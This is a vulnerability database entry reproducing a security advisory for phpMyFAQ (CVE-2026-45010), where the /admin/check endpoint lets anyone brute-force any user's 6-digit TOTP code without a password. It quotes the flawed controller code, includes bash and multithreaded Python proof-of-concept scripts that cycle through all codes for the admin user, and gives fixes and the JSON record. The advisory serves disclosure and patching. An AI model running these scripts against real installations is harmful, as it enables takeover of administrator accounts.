GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration

GHSA-9PQ7-MFWH-XX2J

Vulnerability from github – Published: 2026-05-06 20:42 – Updated: 2026-06-09 00:00
VLAI
Summary
phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id
Details

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    $user = $this->currentUserService;
    $user->getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this->twoFactor;
        $result = $tfa->validateToken($token, $userId);

        if ($result) {
            $user->twoFactorSuccess();
            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
            return new RedirectResponse(url: './');
        }

        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
    }

    return new RedirectResponse('./token?user-id=' . $userId);
}

Problems:

  1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
  2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
  3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
    -X POST "${TARGET_HOST}/admin/check" \
    -d "token=${code}&user-id=${USER_ID}")

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo "$RESPONSE" | grep -qv "token?user-id="; then
    echo "[+] Valid TOTP: ${code}"
    break
  fi
done
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
    location = r.headers.get("Location", "")
    if "token?user-id=" not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f"[+] Valid TOTP: {result:06d}")
            break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

  1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

  2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

  3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45010"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-307"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:42:54Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `/admin/check` endpoint in `AuthenticationController` implements `SkipsAuthenticationCheck`, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary `user-id` and `token` values to brute-force any user\u0027s 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated `POST /admin/check` with a `user-id` body field returns HTTP 302 to `/admin/token?user-id=\u003cvalue\u003e`, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.\n\n## Details\n\n**File**: `phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php`, lines 35-36 and 201-228.\n\nThe controller class declaration:\n\n```php\nfinal class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck\n```\n\nThe `SkipsAuthenticationCheck` interface (`phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php`) is a marker interface that tells the `ControllerContainerListener` to skip authentication enforcement. Every route in this controller is reachable without a session.\n\nThe `check` action (line 201-228):\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027admin.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    if ($this-\u003ecurrentUser-\u003eisLoggedIn()) {\n        return new RedirectResponse(url: \u0027./\u0027);\n    }\n\n    $token = Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027token\u0027), FILTER_SANITIZE_SPECIAL_CHARS);\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    $user = $this-\u003ecurrentUserService;\n    $user-\u003egetUserById($userId);\n\n    if (strlen((string) $token) === 6) {\n        $tfa = $this-\u003etwoFactor;\n        $result = $tfa-\u003evalidateToken($token, $userId);\n\n        if ($result) {\n            $user-\u003etwoFactorSuccess();\n            $this-\u003eadminLog-\u003elog($user, AdminLogType::AUTH_2FA_SUCCESS-\u003evalue . \u0027:\u0027 . $user-\u003egetLogin());\n            return new RedirectResponse(url: \u0027./\u0027);\n        }\n\n        $this-\u003eadminLog-\u003elog($user, AdminLogType::AUTH_2FA_FAILED-\u003evalue . \u0027:\u0027 . $user-\u003egetLogin());\n    }\n\n    return new RedirectResponse(\u0027./token?user-id=\u0027 . $userId);\n}\n```\n\nProblems:\n\n1. **No session binding**: The endpoint accepts `user-id` from the POST body. It does not verify that the caller previously authenticated with a password for that user.\n2. **No rate limit or lockout**: Failed attempts redirect back to the token form with no counter, delay, or account lock.\n3. **Unauthenticated access**: The `SkipsAuthenticationCheck` marker exempts the entire controller from auth enforcement.\n\nThe normal login flow (`/admin/authenticate`) redirects to `/admin/token?user-id=X` after a valid password. But nothing prevents Bob from skipping the password step and hitting `/admin/check` directly.\n\n## Proof of Concept\n\n```bash\n# Step 1: Identify target user ID (admin is typically user_id=1)\nTARGET_HOST=\"http://target.example\"\nUSER_ID=1\n\n# Step 2: Brute-force the 6-digit TOTP code\n# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.\n# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.\n\nfor code in $(seq -w 000000 999999); do\n  RESPONSE=$(curl -s -o /dev/null -w \"%{http_code}:%{redirect_url}\" \\\n    -X POST \"${TARGET_HOST}/admin/check\" \\\n    -d \"token=${code}\u0026user-id=${USER_ID}\")\n\n  # A successful 2FA grants a session and redirects to ./\n  # A failure redirects to ./token?user-id=1\n  if echo \"$RESPONSE\" | grep -qv \"token?user-id=\"; then\n    echo \"[+] Valid TOTP: ${code}\"\n    break\n  fi\ndone\n```\n\n```python\n# Faster parallel version\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor\n\nTARGET = \"http://target.example/admin/check\"\nUSER_ID = 1\n\ndef try_code(code):\n    r = requests.post(TARGET, data={\"token\": f\"{code:06d}\", \"user-id\": USER_ID}, allow_redirects=False)\n    location = r.headers.get(\"Location\", \"\")\n    if \"token?user-id=\" not in location:\n        return code\n    return None\n\nwith ThreadPoolExecutor(max_workers=50) as pool:\n    for result in pool.map(try_code, range(1000000)):\n        if result is not None:\n            print(f\"[+] Valid TOTP: {result:06d}\")\n            break\n```\n\n## Impact\n\nBob bypasses two-factor authentication for any user account (including administrators) without knowing the user\u0027s password. After a successful brute-force, `twoFactorSuccess()` grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.\n\n**CVSS 3.1**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N` (High, 9.1)\n**CWE**: CWE-307 (Improper Restriction of Excessive Authentication Attempts)\n\n## Recommended Fix\n\n1. **Bind the 2FA step to a password-verified session**: Store a flag in the server-side session during `authenticate()` indicating the user passed password auth. The `check` action must verify this flag before accepting TOTP attempts.\n\n2. **Add rate limiting / lockout**: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.\n\n3. **Narrow the SkipsAuthenticationCheck scope**: Move the `/check` and `/token` routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.\n\nExample session-binding fix in `check()`:\n\n```php\n#[Route(path: \u0027/check\u0027, name: \u0027admin.auth.check\u0027, methods: [\u0027POST\u0027])]\npublic function check(Request $request): RedirectResponse\n{\n    $userId = (int) Filter::filterVar($request-\u003erequest-\u003eget(key: \u0027user-id\u0027), FILTER_VALIDATE_INT);\n\n    // Require that the session proves password auth for this specific user\n    if ($this-\u003esession-\u003eget(\u00272fa_pending_user_id\u0027) !== $userId) {\n        return new RedirectResponse(url: \u0027./login\u0027);\n    }\n\n    // ... existing TOTP validation ...\n}\n```\n\nAnd in `authenticate()`, after successful password check:\n\n```php\n$this-\u003esession-\u003eset(\u00272fa_pending_user_id\u0027, $this-\u003ecurrentUser-\u003egetUserId());\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-9pq7-mfwh-xx2j",
  "modified": "2026-06-09T00:00:16Z",
  "published": "2026-05-06T20:42:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45010"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/phpmyfaq-unauthenticated-two-factor-authentication-brute-force-via-admin-check-endpoint"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…